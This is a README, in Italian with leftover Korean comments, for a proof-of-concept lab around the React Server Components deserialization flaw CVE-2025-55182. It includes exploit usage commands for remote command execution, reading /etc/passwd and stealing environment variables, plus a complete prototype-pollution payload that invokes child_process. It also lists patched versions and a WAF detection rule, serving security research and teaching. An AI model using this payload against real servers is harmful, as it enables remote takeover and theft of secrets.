Ambiente PoC CVE-2025-55182 (React2Shell)

Avviso: questo progetto deve essere utilizzato solo per scopi di ricerca e formazione sulla sicurezza. L'uso su sistemi di terzi senza autorizzazione è illegale.

Panoramica della vulnerabilità

Versioni interessate

Pacchetti React

• react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

• 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Struttura del progetto

CVE-2025-55182/
├── README.md                    # 이 파일
├── vulnerable-server/           # 취약한 Next.js 서버
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # 공격 PoC
│   ├── package.json
│   ├── poc.js                   # RCE 공격 스크립트
│   └── check-vulnerability.js   # 취약점 체크 스크립트
└── React2Shell-CVE-2025-55182-original-poc/  # 원본 PoC 참조

Avvio rapido

1. Configurazione ed esecuzione del server vulnerabile

# 의존성 설치
cd vulnerable-server
npm install

# 개발 모드로 서버 실행 (포트 3000)
npm run dev

Il server è in esecuzione su http://localhost:3000.

2. Esecuzione del PoC di attacco

In un nuovo terminale:

# 의존성 설치
cd exploit
npm install

# 취약점 체크
npm run check

# PoC 실행 (테스트 모드)
npm run exploit

Utilizzo del PoC di attacco

Test di base (console.log)

node poc.js -m test

Esecuzione della calcolatrice (dimostrazione RCE classica)

# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Esecuzione di comandi di sistema (RCE)

# id 명령 실행
node poc.js -t http://localhost:3000 -m rce -c "id"

# 파일 읽기
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# 시스템 정보
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Furto di variabili d'ambiente

node poc.js -t http://localhost:3000 -m env

Esecuzione di codice personalizzato

node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Analisi tecnica

Causa principale della vulnerabilità

La vulnerabilità si verifica quando il protocollo Flight di React Server Components deserializza i dati inviati dal client.

requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE

Catena di attacco

1. Attivazione della deserializzazione $@x - acquisizione del riferimento all'oggetto Chunk
2. Sfruttamento del concatenamento delle Promise - iniezione di un oggetto thenable dotato del metodo .then
3. Rientro nel parser con un falso oggetto Chunk - impostazione di status: resolved_model
4. Costruzione della catena di gadget - utilizzo di _response, _formData, ecc.
5. Ottenimento del costruttore Function - $1:constructor:constructor
6. Esecuzione di codice arbitrario - esecuzione di new Function(악성코드)

Struttura del payload

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Metodi di patch

Aggiornamento di Next.js

# 15.0.x 사용자
npm install [email protected]

# 15.1.x 사용자
npm install [email protected]

# 15.2.x 사용자
npm install [email protected]

Aggiornamento dei pacchetti React

npm install [email protected]
npm install [email protected]
npm install [email protected]

Metodi di rilevamento

Caratteristiche delle richieste HTTP

• Richiesta POST
• Presenza dell'header Next-Action
• Formato multipart/form-data
• Pattern come $@, resolved_model, constructor nel corpo della richiesta

Esempio di regole WAF

# 의심스러운 Flight 페이로드 탐지
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

Riferimenti

• Blog ufficiale di React
• PoC originale (Lachlan Davidson)
• Analisi di Datadog Security Labs
• Analisi di Wiz

Licenza

Questo progetto è fornito solo a scopo educativo e di ricerca. È vietato l'uso per scopi malevoli.

Attenzione: se scopri questa vulnerabilità in un ambiente reale, applica immediatamente la patch. Se viene confermato un attacco, segnalalo al team di sicurezza ed esegui un'indagine sulla compromissione.